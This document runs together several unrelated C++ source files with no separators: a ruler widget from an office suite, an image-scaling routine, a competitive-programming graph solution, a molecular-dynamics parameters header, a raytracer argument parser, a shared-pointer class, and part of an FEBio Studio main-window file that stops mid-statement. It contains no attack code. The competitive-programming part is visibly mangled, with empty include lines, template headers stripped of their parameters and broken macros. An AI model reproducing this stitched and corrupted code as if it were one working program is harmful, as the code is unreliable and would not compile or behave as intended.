----------------------------------------------------------------------- void Ruler::ExtraDown() { maExtraDownHdl.Call( this ); } // ----------------------------------------------------------------------- void Ruler::Activate() { mbActive = sal_True; // Positionslinien wieder anzeigen (erst hinter mbActive=sal_True rufen, da // von ImplInvertLines() ausgewertet wird). Das Zeichnen der Linien // wird verzoegert, damit im vermutlich noch nicht gepainteten Zustand // Linien gezeichnet werden. mnUpdateFlags |= RULER_UPDATE_LINES; if ( !mnUpdateEvtId ) mnUpdateEvtId = Application::PostUserEvent( LINK( this, Ruler, ImplUpdateHdl ), NULL ); } // ----------------------------------------------------------------------- void Ruler::Deactivate() { // Positionslinien loeschen (schon vor mbActive=sal_False rufen, da // von ImplInvertLines() ausgewertet wird) ImplInvertLines(); mbActive = sal_False; } // ----------------------------------------------------------------------- sal_Bool Ruler::StartDocDrag( const MouseEvent& rMEvt, RulerType eDragType ) { if ( !mbDrag ) { Point aMousePos = rMEvt.GetPosPixel(); sal_uInt16 nMouseClicks = rMEvt.GetClicks(); sal_uInt16 nMouseModifier = rMEvt.GetModifier(); ImplRulerHitTest aHitTest; if(eDragType != RULER_TYPE_DONTKNOW) aHitTest.bExpandTest = sal_True; // Gegebenenfalls Lineal updaten (damit mit den richtigen Daten // gearbeitet wird und die Anzeige auch zur Bearbeitung passt) if ( mbFormat ) { ImplDraw(); mnUpdateFlags &= ~RULER_UPDATE_DRAW; } if ( nMouseClicks == 1 ) { if ( ImplDocHitTest( aMousePos, eDragType, &aHitTest ) ) { Pointer aPtr; if ( aHitTest.bSize ) { if ( mnWinStyle & WB_HORZ ) aPtr = Pointer( POINTER_ESIZE ); else aPtr = Pointer( POINTER_SSIZE ); } else if ( aHitTest.bSizeBar ) { if ( mnWinStyle & WB_HORZ ) aPtr = Pointer( POINTER_HSIZEBAR ); else aPtr = Pointer( POINTER_VSIZEBAR ); } SetPointer( aPtr ); return ImplStartDrag( &aHitTest, nMouseModifier ); } } else if ( nMouseClicks == 2 ) { if ( ImplDocHitTest( aMousePos, eDragType, &aHitTest ) ) { mnDragPos = aHitTest.nPos; mnDragAryPos = aHitTest.nAryPos; } eDragType = aHitTest.eType; DoubleClick(); eDragType = RULER_TYPE_DONTKNOW; mnDragPos = 0; mnDragAryPos = 0; return sal_True; } } return sal_False; } // ----------------------------------------------------------------------- RulerType Ruler::GetDocType( const Point& rPos, RulerType eDragType, sal_uInt16* pAryPos ) const { ImplRulerHitTest aHitTest; // Gegebenenfalls Lineal updaten (damit mit den richtigen Daten // gearbeitet wird und die Anzeige auch zur Bearbeitung passt) if ( IsReallyVisible() && mbFormat ) { ((Ruler*)this)->ImplDraw(); ((Ruler*)this)->mnUpdateFlags &= ~RULER_UPDATE_DRAW; } // HitTest durchfuehren ImplDocHitTest( rPos, eDragType, &aHitTest ); // Werte zurueckgeben if ( pAryPos ) *pAryPos = aHitTest.nAryPos; return aHitTest.eType; } // ----------------------------------------------------------------------- void Ruler::CancelDrag() { if ( mbDrag ) { ImplDrag( Point( -1, -1 ) ); ImplEndDrag(); } } // ----------------------------------------------------------------------- RulerType Ruler::GetType( const Point& rPos, sal_uInt16* pAryPos ) const { ImplRulerHitTest aHitTest; // Gegebenenfalls Lineal updaten (damit mit den richtigen Daten // gearbeitet wird und die Anzeige auch zur Bearbeitung passt) if ( IsReallyVisible() && mbFormat ) { ((Ruler*)this)->ImplDraw(); ((Ruler*)this)->mnUpdateFlags &= ~RULER_UPDATE_DRAW; } // HitTest durchfuehren ImplHitTest( rPos, &aHitTest ); // Werte zurueckgeben if ( pAryPos ) *pAryPos = aHitTest.nAryPos; return aHitTest.eType; } // ----------------------------------------------------------------------- void Ruler::SetWinPos( long nNewOff, long nNewWidth ) { // Gegebenenfalls werden die Breiten automatisch berechnet if ( !nNewWidth ) mbAutoWinWidth = sal_True; else mbAutoWinWidth = sal_False; // Werte setzen (werden in ImplFormat gegebenenfalls mitberechnet) mnWinOff = nNewOff; mnWinWidth = nNewWidth; ImplUpdate( sal_True ); } // ----------------------------------------------------------------------- void Ruler::SetPagePos( long nNewOff, long nNewWidth ) { // Muessen wir ueberhaupt was machen if ( (mpData->nPageOff == nNewOff) && (mpData->nPageWidth == nNewWidth) ) return; // Gegebenenfalls werden die Breiten automatisch berechnet if ( !nNewWidth ) mpData->bAutoPageWidth = sal_True; else mpData->bAutoPageWidth = sal_False; // Werte setzen (werden in ImplFormat gegebenenfalls mitberechnet) mpData->nPageOff = nNewOff; mpData->nPageWidth = nNewWidth; ImplUpdate( sal_True ); } // ----------------------------------------------------------------------- void Ruler::SetBorderPos( long nOff ) { if ( mnWinStyle & WB_BORDER ) { if ( mnBorderOff != nOff ) { mnBorderOff = nOff; if ( IsReallyVisible() && IsUpdateMode() ) Invalidate(); } } } // ----------------------------------------------------------------------- void Ruler::SetUnit( FieldUnit eNewUnit ) { if ( meUnit != eNewUnit ) { meUnit = eNewUnit; switch ( meUnit ) { case FUNIT_MM: mnUnitIndex = RULER_UNIT_MM; break; case FUNIT_CM: mnUnitIndex = RULER_UNIT_CM; break; case FUNIT_M: mnUnitIndex = RULER_UNIT_M; break; case FUNIT_KM: mnUnitIndex = RULER_UNIT_KM; break; case FUNIT_INCH: mnUnitIndex = RULER_UNIT_INCH; break; case FUNIT_FOOT: mnUnitIndex = RULER_UNIT_FOOT; break; case FUNIT_MILE: mnUnitIndex = RULER_UNIT_MILE; break; case FUNIT_POINT: mnUnitIndex = RULER_UNIT_POINT; break; case FUNIT_PICA: mnUnitIndex = RULER_UNIT_PICA; break; default: #ifdef DBG_UTIL DBG_ERRORFILE( "Ruler::SetUnit() - Wrong Unit" ); #endif break; } maMapMode.SetMapUnit( aImplRulerUnitTab[mnUnitIndex].eMapUnit ); ImplUpdate(); } } // ----------------------------------------------------------------------- void Ruler::SetZoom( const Fraction& rNewZoom ) { DBG_ASSERT( rNewZoom.GetNumerator(), "Ruler::SetZoom() with scale 0 is not allowed" ); if ( maZoom != rNewZoom ) { maZoom = rNewZoom; maMapMode.SetScaleX( maZoom ); maMapMode.SetScaleY( maZoom ); ImplUpdate(); } } // ----------------------------------------------------------------------- void Ruler::SetExtraType( RulerExtra eNewExtraType, sal_uInt16 nStyle ) { if ( mnWinStyle & WB_EXTRAFIELD ) { meExtraType = eNewExtraType; mnExtraStyle = nStyle; if ( IsReallyVisible() && IsUpdateMode() ) ImplDrawExtra( sal_False ); } } // ----------------------------------------------------------------------- void Ruler::SetNullOffset( long nPos ) { if ( mpData->nNullOff != nPos ) { mpData->nNullOff = nPos; ImplUpdate(); } } // ----------------------------------------------------------------------- void Ruler::SetMargin1( long nPos, sal_uInt16 nMarginStyle ) { if ( (mpData->nMargin1 != nPos) || (mpData->nMargin1Style != nMarginStyle) ) { mpData->nMargin1 = nPos; mpData->nMargin1Style = nMarginStyle; ImplUpdate(); } } // ----------------------------------------------------------------------- void Ruler::SetMargin2( long nPos, sal_uInt16 nMarginStyle ) { DBG_ASSERT( (nPos >= mpData->nMargin1) || (mpData->nMargin1Style & RULER_STYLE_INVISIBLE) || (mpData->nMargin2Style & RULER_STYLE_INVISIBLE), "Ruler::SetMargin2() - Margin2 < Margin1" ); if ( (mpData->nMargin2 != nPos) || (mpData->nMargin2Style != nMarginStyle) ) { mpData->nMargin2 = nPos; mpData->nMargin2Style = nMarginStyle; ImplUpdate(); } } // ----------------------------------------------------------------------- void Ruler::SetLines( sal_uInt16 n, const RulerLine* pLineAry ) { // To determine if what has changed if ( mpData->nLines == n ) { sal_uInt16 i = n; const RulerLine* pAry1 = mpData->pLines; const RulerLine* pAry2 = pLineAry; while ( i ) { if ( (pAry1->nPos != pAry2->nPos) || (pAry1->nStyle != pAry2->nStyle) ) break; pAry1++; pAry2++; i--; } if ( !i ) return; } // New values and new share issue sal_Bool bMustUpdate; if ( IsReallyVisible() && IsUpdateMode() ) bMustUpdate = sal_True; else bMustUpdate = sal_False; // Delete old lines if ( bMustUpdate ) ImplInvertLines(); // New data set if ( !n || !pLineAry ) { if ( !mpData->pLines ) return; delete[] mpData->pLines; mpData->nLines = 0; mpData->pLines = NULL; } else { if ( mpData->nLines != n ) { delete[] mpData->pLines; mpData->nLines = n; mpData->pLines = new RulerLine[n]; } memcpy( mpData->pLines, pLineAry, n*sizeof( RulerLine ) ); // Linien neu ausgeben if ( bMustUpdate ) ImplInvertLines(); } } // ----------------------------------------------------------------------- void Ruler::SetArrows( sal_uInt16 n, const RulerArrow* pArrowAry ) { if ( !n || !pArrowAry ) { if ( !mpData->pArrows ) return; delete[] mpData->pArrows; mpData->nArrows = 0; mpData->pArrows = NULL; } else { if ( mpData->nArrows != n ) { delete[] mpData->pArrows; mpData->nArrows = n; mpData->pArrows = new RulerArrow[n]; } else { sal_uInt16 i = n; const RulerArrow* pAry1 = mpData->pArrows; const RulerArrow* pAry2 = pArrowAry; while ( i ) { if ( (pAry1->nPos != pAry2->nPos) || (pAry1->nWidth != pAry2->nWidth) || (pAry1->nLogWidth != pAry2->nLogWidth) || (pAry1->nStyle != pAry2->nStyle) ) break; pAry1++; pAry2++; i--; } if ( !i ) return; } memcpy( mpData->pArrows, pArrowAry, n*sizeof( RulerArrow ) ); } ImplUpdate(); } // ----------------------------------------------------------------------- void Ruler::SetBorders( sal_uInt16 n, const RulerBorder* pBrdAry ) { if ( !n || !pBrdAry ) { if ( !mpData->pBorders ) return; delete[] mpData->pBorders; mpData->nBorders = 0; mpData->pBorders = NULL; } else { if ( mpData->nBorders != n ) { delete[] mpData->pBorders; mpData->nBorders = n; mpData->pBorders = new RulerBorder[n]; } else { sal_uInt16 i = n; const RulerBorder* pAry1 = mpData->pBorders; const RulerBorder* pAry2 = pBrdAry; while ( i ) { if ( (pAry1->nPos != pAry2->nPos) || (pAry1->nWidth != pAry2->nWidth) || (pAry1->nStyle != pAry2->nStyle) ) break; pAry1++; pAry2++; i--; } if ( !i ) return; } memcpy( mpData->pBorders, pBrdAry, n*sizeof( RulerBorder ) ); } ImplUpdate(); } // ----------------------------------------------------------------------- void Ruler::SetIndents( sal_uInt16 n, const RulerIndent* pIndentAry ) { if ( !n || !pIndentAry ) { if ( !mpData->pIndents ) return; delete[] mpData->pIndents; mpData->nIndents = 0; mpData->pIndents = NULL; } else { if ( mpData->nIndents != n ) { delete[] mpData->pIndents; mpData->nIndents = n; mpData->pIndents = new RulerIndent[n]; } else { sal_uInt16 i = n; const RulerIndent* pAry1 = mpData->pIndents; const RulerIndent* pAry2 = pIndentAry; while ( i ) { if ( (pAry1->nPos != pAry2->nPos) || (pAry1->nStyle != pAry2->nStyle) ) break; pAry1++; pAry2++; i--; } if ( !i ) return; } memcpy( mpData->pIndents, pIndentAry, n*sizeof( RulerIndent ) ); } ImplUpdate(); } // ----------------------------------------------------------------------- void Ruler::SetTabs( sal_uInt16 n, const RulerTab* pTabAry ) { if ( !n || !pTabAry ) { if ( !mpData->pTabs ) return; delete[] mpData->pTabs; mpData->nTabs = 0; mpData->pTabs = NULL; } else { if ( mpData->nTabs != n ) { delete[] mpData->pTabs; mpData->nTabs = n; mpData->pTabs = new RulerTab[n]; } else { sal_uInt16 i = n; const RulerTab* pAry1 = mpData->pTabs; const RulerTab* pAry2 = pTabAry; while ( i ) { if ( (pAry1->nPos != pAry2->nPos) || (pAry1->nStyle != pAry2->nStyle) ) break; pAry1++; pAry2++; i--; } if ( !i ) return; } memcpy( mpData->pTabs, pTabAry, n*sizeof( RulerTab ) ); } ImplUpdate(); } // ----------------------------------------------------------------------- void Ruler::SetStyle( WinBits nStyle ) { if ( mnWinStyle != nStyle ) { mnWinStyle = nStyle; ImplInitExtraField( sal_True ); } } // ----------------------------------------------------------------------- void Ruler::DrawTab( OutputDevice* pDevice, const Point& rPos, sal_uInt16 nStyle ) { /*const StyleSettings& rStyleSettings =*/ pDevice->GetSettings().GetStyleSettings(); Point aPos( rPos ); sal_uInt16 nTabStyle = nStyle & (RULER_TAB_STYLE | RULER_TAB_RTL); pDevice->Push( PUSH_LINECOLOR | PUSH_FILLCOLOR ); pDevice->SetLineColor(); pDevice->SetFillColor( pDevice->GetSettings().GetStyleSettings().GetWindowTextColor() ); ImplCenterTabPos( aPos, nTabStyle ); ImplDrawRulerTab( pDevice, aPos, nTabStyle, nStyle ); pDevice->Pop(); } /* -----------------16.10.2002 15:17----------------- * * --------------------------------------------------*/ void Ruler::SetTextRTL(sal_Bool bRTL) { if(mpData->bTextRTL != bRTL) { mpData->bTextRTL = bRTL; if ( IsReallyVisible() && IsUpdateMode() ) ImplInitExtraField( sal_True ); } } long Ruler::GetPageOffset() const { return mpData->nPageOff; } long Ruler::GetPageWidth() const { return mpData->nPageWidth; } long Ruler::GetNullOffset() const { return mpData->nNullOff; } long Ruler::GetMargin1() const { return mpData->nMargin1; } sal_uInt16 Ruler::GetMargin1Style() const { return mpData->nMargin1Style; } long Ruler::GetMargin2() const { return mpData->nMargin2; } sal_uInt16 Ruler::GetMargin2Style() const { return mpData->nMargin2Style; } sal_uInt16 Ruler::GetLineCount() const { return mpData->nLines; } const RulerLine* Ruler::GetLines() const { return mpData->pLines; } sal_uInt16 Ruler::GetArrowCount() const { return mpData->nArrows; } const RulerArrow* Ruler::GetArrows() const { return mpData->pArrows; } sal_uInt16 Ruler::GetBorderCount() const { return mpData->nBorders; } const RulerBorder* Ruler::GetBorders() const { return mpData->pBorders; } sal_uInt16 Ruler::GetIndentCount() const { return mpData->nIndents; } const RulerIndent* Ruler::GetIndents() const { return mpData->pIndents; } uno::Reference< XAccessible > Ruler::CreateAccessible() { Window* pParent = GetAccessibleParentWindow(); DBG_ASSERT( pParent, "-SvxRuler::CreateAccessible(): No Parent!" ); uno::Reference< XAccessible > xAccParent = pParent->GetAccessible(); if( xAccParent.is() ) { // MT: Fixed compiler issue because the address from a temporary object was used. // BUT: Shoudl it really be a Pointer, instead of const&??? OUString aStr; if ( mnWinStyle & WB_HORZ ) { aStr = OUString(XubString(SvtResId(STR_SVT_ACC_RULER_HORZ_NAME))); } else { aStr = OUString(XubString(SvtResId(STR_SVT_ACC_RULER_VERT_NAME))); } pAccContext = new SvtRulerAccessible( xAccParent, *this, aStr ); pAccContext->acquire(); this->SetAccessible(pAccContext); return pAccContext; } else return uno::Reference< XAccessible >(); } #include "vnImageScale.h" #include "../Operators/vnImageClone.h" VN_STATUS vnBresenhamScaleLine( UINT8 * pSrcBuffer, UINT32 uiSrcLength, UINT32 uiSrcStride, UINT32 uiPixelPitch, UINT8 * pDestBuffer, UINT32 uiDestLength, UINT32 uiDestStride ) { if ( VN_PARAM_CHECK ) { if ( !pSrcBuffer || 0 == uiSrcLength || !pDestBuffer || 0 == uiDestLength || 0 == uiPixelPitch ) { return vnPostError( VN_ERROR_INVALIDARG ); } } UINT32 uiErrorTerm = 0; // // We avoid the use of division or modulus operators for each iteration, but rely upon // an initial branch per line. // if ( uiDestLength > uiSrcLength ) { UINT32 uiSrcCoord = 0; for ( UINT32 uiDestCoord = 0; uiDestCoord < uiDestLength; uiDestCoord++ ) { uiErrorTerm += uiSrcLength; if ( uiErrorTerm > uiDestLength ) { uiErrorTerm -= uiDestLength; uiSrcCoord++; } // // Fill out our current pixel // UINT8 * pSrcPixel = pSrcBuffer + uiSrcCoord * uiSrcStride; UINT8 * pDestPixel = pDestBuffer + uiDestCoord * uiDestStride; memcpy( pDestPixel, pSrcPixel, uiPixelPitch ); } } // // The source line is longer than the destination, so we increment over the source. // else { UINT32 uiDestCoord = 0; for ( UINT32 uiSrcCoord = 0; uiSrcCoord < uiSrcLength; uiSrcCoord++ ) { uiErrorTerm += uiDestLength; if ( uiErrorTerm > uiSrcLength ) { uiErrorTerm -= uiSrcLength; uiDestCoord++; } // // Fill out our current pixel // UINT8 * pSrcPixel = pSrcBuffer + uiSrcCoord * uiSrcStride; UINT8 * pDestPixel = pDestBuffer + uiDestCoord * uiDestStride; memcpy( pDestPixel, pSrcPixel, uiPixelPitch ); } } return VN_SUCCESS; } VN_STATUS vnBresenhamScaleImage( CONST CVImage & pSrcImage, CVImage * pDestImage ) { if ( VN_PARAM_CHECK ) { if ( !pDestImage ) { return vnPostError( VN_ERROR_INVALIDARG ); } } // // Create an image with dimensions of [ dest_width, src_height ] so that we // may scale in the horizontal direction only. // CVImage tempImage; if ( VN_FAILED( vnCreateImage( pSrcImage.QueryFormat(), pDestImage->QueryWidth(), pSrcImage.QueryHeight(), &tempImage ) ) ) { return vnPostError( VN_ERROR_EXECUTION_FAILURE ); } // // First we stretch our image in the horizontal direction // UINT32 uiPixelPitch = VN_IMAGE_PIXEL_RATE( pSrcImage.QueryFormat() ) >> 3; for ( UINT32 y = 0; y < pSrcImage.QueryHeight(); y++ ) { UINT8 * pSrcData = pSrcImage.QueryData() + pSrcImage.BlockOffset( 0, y ); UINT8 * pDestData = tempImage.QueryData() + tempImage.BlockOffset( 0, y ); if ( pSrcImage.QueryWidth() == tempImage.QueryWidth() ) { // // A simple row copy will suffice // memcpy( pDestData, pSrcData, pSrcImage.RowPitch() ); } else { if ( VN_FAILED( vnBresenhamScaleLine( pSrcData, pSrcImage.QueryWidth(), uiPixelPitch, uiPixelPitch, pDestData, tempImage.QueryWidth(), uiPixelPitch ) ) ) { return vnPostError( VN_ERROR_EXECUTION_FAILURE ); } } } // // Check to see whether this image only required horizontal scaling. If so, simply perform a bulk copy // (we're assuming there is zero undisclosed padding.) // if ( tempImage.QueryHeight() == pDestImage->QueryHeight() ) { memcpy( pDestImage->QueryData(), tempImage.QueryData(), tempImage.SlicePitch() ); return VN_SUCCESS; } // // Now scale in the vertical direction -- placing the results into our destination image // for ( UINT32 x = 0; x < tempImage.QueryWidth(); x++ ) { UINT8 * pSrcData = tempImage.QueryData() + tempImage.BlockOffset( x, 0 ); UINT8 * pDestData = pDestImage->QueryData() + pDestImage->BlockOffset( x, 0 ); if ( VN_FAILED( vnBresenhamScaleLine( pSrcData, tempImage.QueryHeight(), tempImage.RowPitch(), uiPixelPitch, pDestData, pDestImage->QueryHeight(), pDestImage->RowPitch() ) ) ) { return vnPostError( VN_ERROR_EXECUTION_FAILURE ); } } return VN_SUCCESS; } VN_STATUS vnScaleImage( CONST CVImage & pSrcImage, UINT32 uiWidth, UINT32 uiHeight, CVImage * pDestImage ) { if ( VN_PARAM_CHECK ) { if ( !VN_IS_IMAGE_VALID(pSrcImage) || 0 == uiWidth || 0 == uiHeight || !pDestImage ) { return vnPostError( VN_ERROR_INVALIDARG ); } } if ( uiWidth == pSrcImage.QueryWidth() && uiHeight == pSrcImage.QueryHeight() ) { // // Perform a cloning, no scaling required as our dimensions match. // return vnCloneImage( pSrcImage, pDestImage ); } // // Create our destination image. // if ( VN_FAILED( vnCreateImage( pSrcImage.QueryFormat(), uiWidth, uiHeight, pDestImage ) ) ) { return vnPostError( VN_ERROR_EXECUTION_FAILURE ); } // // Perform our scaling operation using the aliases // if ( VN_FAILED( vnBresenhamScaleImage( pSrcImage, pDestImage ) ) ) { return vnPostError( VN_ERROR_EXECUTION_FAILURE ); } return VN_SUCCESS; } jinzhengyu1212/Clovers #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define setIO(x) freopen(x".in","r",stdin),freopen(x".out","w",stdout) #define closefile fclose(stdin),fclose(stdout) #define m_p make_pair #define sz(x) (int)x.size() #define see(x) cerr< pii; template void read(T &x) { x=0; char c=getchar(); int flag=0; while (c<'0'||c>'9') flag|=(c=='-'),c=getchar(); while (c>='0'&&c<='9') x=(x<<3)+(x<<1)+(c^48),c=getchar(); if (flag) x=-x; } template T _max(T a,T b){return a>b ? a : b;} template T _min(T a,T b){return a bool checkmax(T &a,T b){return b>a ? a=b,1 : 0;} template bool checkmin(T &a,T b){return b>=1;} return ans;} const int N=200005; int e=0,first[N],nxt[N],point[N],deg[N]; int fac[N],ifac[N],f[N],sz[N]; void add_edge(int x,int y) { //out(x); outln(y); ++e; nxt[++e]=first[x]; first[x]=e; point[e]=y; ++deg[y]; } int binom(int x,int y){return x=0;--i) ifac[i]=Mul(ifac[i+1],i+1); for (int i=1,u,v;i<=m;++i) { read(u); read(v); add_edge(v,u); } for (int i=1;i<=n;++i) if (!deg[i]) add_edge(0,i); } void dfs(int x) { f[x]=1; for (int i=first[x];i!=-1;i=nxt[i]) { int to=point[i]; dfs(to); sz[x]+=sz[to]; mul(f[x],f[to]); mul(f[x],binom(sz[x],sz[to])); } sz[x]++; } void solve() { dfs(0); if (sz[0]!=n+1) printf("0\n"); else printf("%d\n",f[0]); for (int i=0;i<=n;++i) deg[i]=0,sz[i]=0,f[i]=0; } int main() { //setIO("photo"); int t; read(t); while (t--) { init(); solve(); } closefile; return 0; }src/parameters/parameters.hpp1-10 /************************************************ * * * rs@md * * (reactive steps @ molecular dynamics ) * * * ************************************************/ /* Copyright 2020 Licensed under the Apache License, Version 2.0 */ #pragma once #include "definitions.hpp" #include "parser/reactionParser.hpp" #include #include #include #include #include // // parameter class // // ... can read program options from commandline or from file // ... stores options in a boost::program_options::variables_map // ... and implements getter functions for all options // enum ENGINE { NONE, GROMACS }; enum SIMMODE { NEW, RESTART }; enum SIMALGORITHM { RATE, MC }; class Parameters { private: boost::program_options::variables_map parameterMap {}; std::string configFileName {}; ENGINE mdEngine {ENGINE::NONE}; SIMMODE simulationMode {SIMMODE::NEW}; SIMALGORITHM simulationAlgorithm {SIMALGORITHM::MC}; std::string programName {" * * * * * * *\n * rs@md *\n * * * * * * *\n\n"}; std::string addDescription {"a program to perform reactive steps during molecular dynamics simulations\n"}; std::string licensingInfo {"Copyright 2020 \nLicensed under the Apache License, Version 2.0\n"}; // // read program options from commandline / from file // void read(int, char* []); // // check for completeness / workability with given program options // void check(); // // formatted output // template std::string formatted(const std::string&, const T&) const; public: Parameters(int, char* []); ~Parameters() = default; // // a universal getter for options in parameterMap // const auto& getOption(const std::string& s) const { if( parameterMap.count(s) ) return parameterMap[s]; else throw std::logic_error("parameterMap does not contain " + s); } // // some additional getters // const auto& getEngineType() const { return mdEngine; } const auto& getSimulationMode() const { return simulationMode; } const auto& getSimulationAlgorithm() const {return simulationAlgorithm; } // // print options to string // std::string str() const; }; template inline std::string Parameters::formatted(const std::string& name, const T& value) const { std::stringstream stream {}; stream << std::boolalpha << std::left << " " << std::setw(30) << name << " = " << std::setw(30) << value; return stream.str(); } template<> inline std::string Parameters::formatted(const std::string& name, const std::vector& values) const { std::stringstream stream {}; stream << std::boolalpha << std::left << " " << std::setw(30) << name << " = "; std::string sep {""}; for(const auto& val: values) { stream << sep << val; sep = ", "; } return stream.str(); }MarcTr/Raytracer0 #include "ArgsParser.h" #include #include using namespace Utility; ArgsParser::ArgsParser() { } void ArgsParser::Parse(int argc, char** argv) { for(int i = 1; i < argc; ++i) { std::string arg = argv[i]; if(arg == "-aaSamples") { if(i + 1 < argc) { numOfAaSamples = argv[++i]; } else { std::cerr << "No argument provided for parameter -aaSamples" << std::endl; } } else if(arg == "-shadowSamples") { if(i + 1 < argc) { numOfShadowSamples = argv[++i]; } else { std::cerr << "No argument provided for parameter -shadowsSamples" << std::endl; } } else if(arg == "-recDepth") { if(i + 1 < argc) { recursionDepth = argv[++i]; } else { std::cerr << "No argument provided for parameter -recDepth" << std::endl; } } else if(arg == "-w") { if(i + 1 < argc) { width = argv[++i]; } else { std::cerr << "No argument provided for parameter -w" << std::endl; } } else if(arg == "-h") { if(i + 1 < argc) { height = argv[++i]; } else { std::cerr << "No argument provided for parameter -h" << std::endl; } } else { std::cerr << "Unknown argument " << argv[i] << std::endl; } } } std::string ArgsParser::GetNumOfAaSamples() { return numOfAaSamples; } std::string ArgsParser::GetNumOfShadowSamples() { return numOfShadowSamples; } std::string ArgsParser::GetHeight() { return height; } std::string ArgsParser::GetWidth() { return width; } std::string ArgsParser::GetRecursionDepth() { return recursionDepth; }/// Copyright (c) 2020 /// This source code is licensed under the MIT License as described in the file LICENSE. /// #pragma once #include "./types.hpp" #include "./manager.hpp" namespace SPL::Pointers { /// /// Shared pointer class. /// /// Pointer type. template class Shared final { // Friend weak pointer class. friend class Weak; private: /// /// Pointer manager. /// Manager* pointer; private: /// /// Internal constructor. /// /// Pointer manager. Shared(Manager* const pointer) : pointer(pointer) { if (this->pointer != nullptr) { this->pointer->reference(); } } public: /// /// Default constructor. /// /// Value pointer. explicit Shared(T* const pointer = nullptr) : pointer(pointer ? new Manager(pointer) : nullptr) {} /// /// Copy constructor. /// /// Other instance. Shared(const Shared& other) : Shared(other.pointer) {} /// /// Destructor. /// ~Shared() { this->release(); } public: /// /// Get the number of references to the pointer. /// /// Returns the current number of references. Size getReferences() const { if (this->pointer != nullptr) { return this->pointer->getReferences(); } return 0; } /// /// Determines whether or not the pointer is valid. /// /// Returns true when the pointer is valid, false otherwise. bool isValid() const { return this->getReferences() > 0; } /// /// Release the pointer from memory. /// void release() { if (this->pointer != nullptr) { this->pointer->dereference(); this->pointer = nullptr; } } public: /// /// Alias for the isValid method. /// operator bool() const { return this->isValid(); } /// /// Access members of the pointer. /// This method doesn't check whether the pointer is valid or not. /// /// Returns the pointer. T* operator ->() const { return this->pointer->getValue(); } /// /// Dereference the pointer. /// This method doesn't check whether the pointer is valid or not. /// /// Returns the pointer value. T& operator *() const { return *this->pointer->getValue(); } /// /// Access indexes of the pointer. /// This method doesn't check whether the pointer is valid or not. /// /// Pointer index. /// Returns a references to the pointer index. T& operator [] (const Index index) const { return this->pointer->getValue()[index]; } /// /// Assign all properties from the given pointer. /// /// Other instance. /// Returns the instance itself. Shared& operator = (const Shared& other) noexcept { this->release(); if ((this->pointer = other.pointer) != nullptr) { this->pointer->reference(); } return *this; } }; } /*This file is part of the FEBio Studio source code and is licensed under the MIT license listed below. See Copyright-FEBio-Studio.txt for details. Copyright (c) 2020 University of Utah, The Trustees of Columbia University in the City of New York, and others. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.*/ #include "stdafx.h" #include "MainWindow.h" #include "DlgStartThread.h" #include "ui_mainwindow.h" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "PostDocument.h" #include "GraphWindow.h" #include "SummaryWindow.h" #include "StatsWindow.h" #include "IntegrateWindow.h" #include "DlgImportLines.h" #include "DlgTimeSettings.h" #include "PostDocument.h" #include "ModelDocument.h" QString warningNoActiveModel = "Please select the view tab to which you want to add this plot."; Post::CGLModel* CMainWindow::GetCurrentModel() { CPostDocument* doc = dynamic_cast(ui->tab->getActiveDoc()); if (doc== nullptr) return nullptr; return doc->GetGLModel(); } void CMainWindow::on_actionPlaneCut_triggered() { Post::CGLModel* glm = GetCurrentModel(); if (glm == nullptr) { QMessageBox::information(this, "FEBio Studio", warningNoActiveModel); return; } Post::CGLPlaneCutPlot* pp = new Post::CGLPlaneCutPlot(glm); glm->AddPlot(pp); UpdatePostPanel(true, pp); RedrawGL(); } void CMainWindow::on_actionMirrorPlane_triggered() { Post::CGLModel* glm = GetCurrentModel(); if (glm == nullptr) { QMessageBox::information(this, "FEBio Studio", warningNoActiveModel); return; } Post::CGLMirrorPlane* pp = new Post::CGLMirrorPlane(glm); glm->AddPlot(pp); UpdatePostPanel(true, pp); RedrawGL(); } void CMainWindow::on_actionVectorPlot_triggered() { Post::CGLModel* glm = GetCurrentModel(); if (glm == nullptr) { QMessageBox::information(this, "FEBio Studio", warningNoActiveModel); return; } Post::CGLVectorPlot* pp = new Post::CGLVectorPlot(glm); glm->AddPlot(pp); UpdatePostPanel(true, pp); RedrawGL(); } void CMainWindow::on_actionTensorPlot_triggered() { Post::CGLModel* glm = GetCurrentModel(); if (glm == nullptr) { QMessageBox::information(this, "FEBio Studio", warningNoActiveModel); return; } Post::GLTensorPlot* pp = new Post::GLTensorPlot(glm); glm->AddPlot(pp); UpdatePostPanel(true, pp); RedrawGL(); } void CMainWindow::on_actionStreamLinePlot_triggered() { Post::CGLModel* glm = GetCurrentModel(); if (glm == nullptr) { QMessageBox::information(this, "FEBio Studio", warningNoActiveModel); return; } Post::CGLStreamLinePlot* pp = new Post::CGLStreamLinePlot(glm); glm->AddPlot(pp); UpdatePostPanel(true, pp); RedrawGL(); } void CMainWindow::on_actionParticleFlowPlot_triggered() { Post::CGLModel* glm = GetCurrentModel(); if (glm == nullptr) { QMessageBox::information(this, "FEBio Studio", warningNoActiveModel); return; } Post::CGLParticleFlowPlot* pp = new Post::CGLParticleFlowPlot(glm); glm->AddPlot(pp); UpdatePostPanel(true, pp); RedrawGL(); } void CMainWindow::on_actionVolumeFlowPlot_triggered() { Post::CGLModel* glm = GetCurrentModel(); if (glm == nullptr) { QMessageBox::information(this, "FEBio Studio", warningNoActiveModel); return; } Post::GLVolumeFlowPlot* pp = new Post::GLVolumeFlowPlot(glm); glm->AddPlot(pp); UpdatePostPanel(true, pp); RedrawGL(); } void CMainWindow::on_actionImageSlicer_triggered() { // get the document CDocument* modelDoc = GetModelDocument(); CDocument* postDoc = GetPostDocument(); Post::CImageModel* img = nullptr; if 